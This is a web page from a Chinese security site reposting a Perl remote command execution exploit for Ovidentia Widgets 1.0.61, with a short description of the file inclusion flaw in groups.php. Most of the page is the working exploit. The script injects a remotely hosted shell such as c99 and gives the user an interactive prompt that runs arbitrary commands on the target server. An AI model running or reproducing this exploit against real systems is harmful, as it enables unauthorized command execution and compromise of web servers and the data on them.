首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ovidentia Widgets 1.0.61 - Remote Command Execution Exploit
来源:bd0rk[at]hackermail.com 作者:bd0rk 发布时间:2015-12-22  
# Title: Ovidentia Widgets 1.0.61 Remote Command Execution Exploit
# Author: bd0rk
# eMail: bd0rk[at]hackermail.com
# Twitter: twitter.com/bd0rk
# Tested on: Ubuntu-Linux
# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FLibrairies+partagees%2FWidgets&file=widgets-1-0-61.zip&idf=870
# The $GLOBALS['babInstallPath']-parameter in /programs/groups.php line 24 is vulnerable for it.
# Use some shellcode / c99 for example.
----------------
~~Exploitcode~~
----------------
 
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;
 
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}
 
&clear();
 
sub bd0rk {
print "Ovidentia Widgets 1.0.61 Remote Command Execution Exploit\n";
print "Sploit:\n";
print "$0 -v \"http://[target]/path/programs/\" -shellcode \"http://[target]/shell.txt?\"\n\n";
exit();
}
 
my $a = GetOptions (
'v=s'          => \$v,
'shellcode=s'   => \$shellcode
);
 
&bd0rk unless ($v);
&bd0rk unless ($shellcode);
 
&bd0rk if $bd0rk eq 1;
 
chomp($v);
chomp($shellcode);
 
while (){
 
print "[shellcode]:~\$ ";
chomp($cmd=<STDIN>);
 
if ($cmd eq "exit" || $cmd eq "quit") {
exit 0;
}
my $agent = LWP::UserAgent->new;
$in="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
chomp($in);
my $a = $v ."/widgets-1-0-61/programs/groups.php?GLOBALS[babInstallPath]=" . $shellcode . $in;
chomp $a;
my $request = HTTP::Request->new(Get => $a);
my $resource = $agent->request($request);
my $content = $resource->content;
if ($resource->is_success){
print $1,"\n" if ($content =~ m/readonly> (.*?)\<\/textarea>/mosix);
}
 
else
{
print "EXPLOIT FAILURE\n";
exit(1);
}
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Notepad++ NPPFtp Plugin 0.26.3
·EasyCafe Server 2.2.14 Remote
·Apache 2.4.17 - Denial of Serv
·FTPShell Client 5.24 - Buffer
·Easy File Sharing FTP Server 3
·KiTTY Portable <= 0.65.0.2p Ch
·Pinger Remote Code Execution
·KiTTY Portable <= 0.65.1.1p Lo
·IBM Tivoli Storage Manager Fas
·KiTTY Portable <= 0.65.0.2p Lo
·IBM Tivoli Storage Manager Fas
·KiTTY Portable <= 0.65.0.2p Lo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved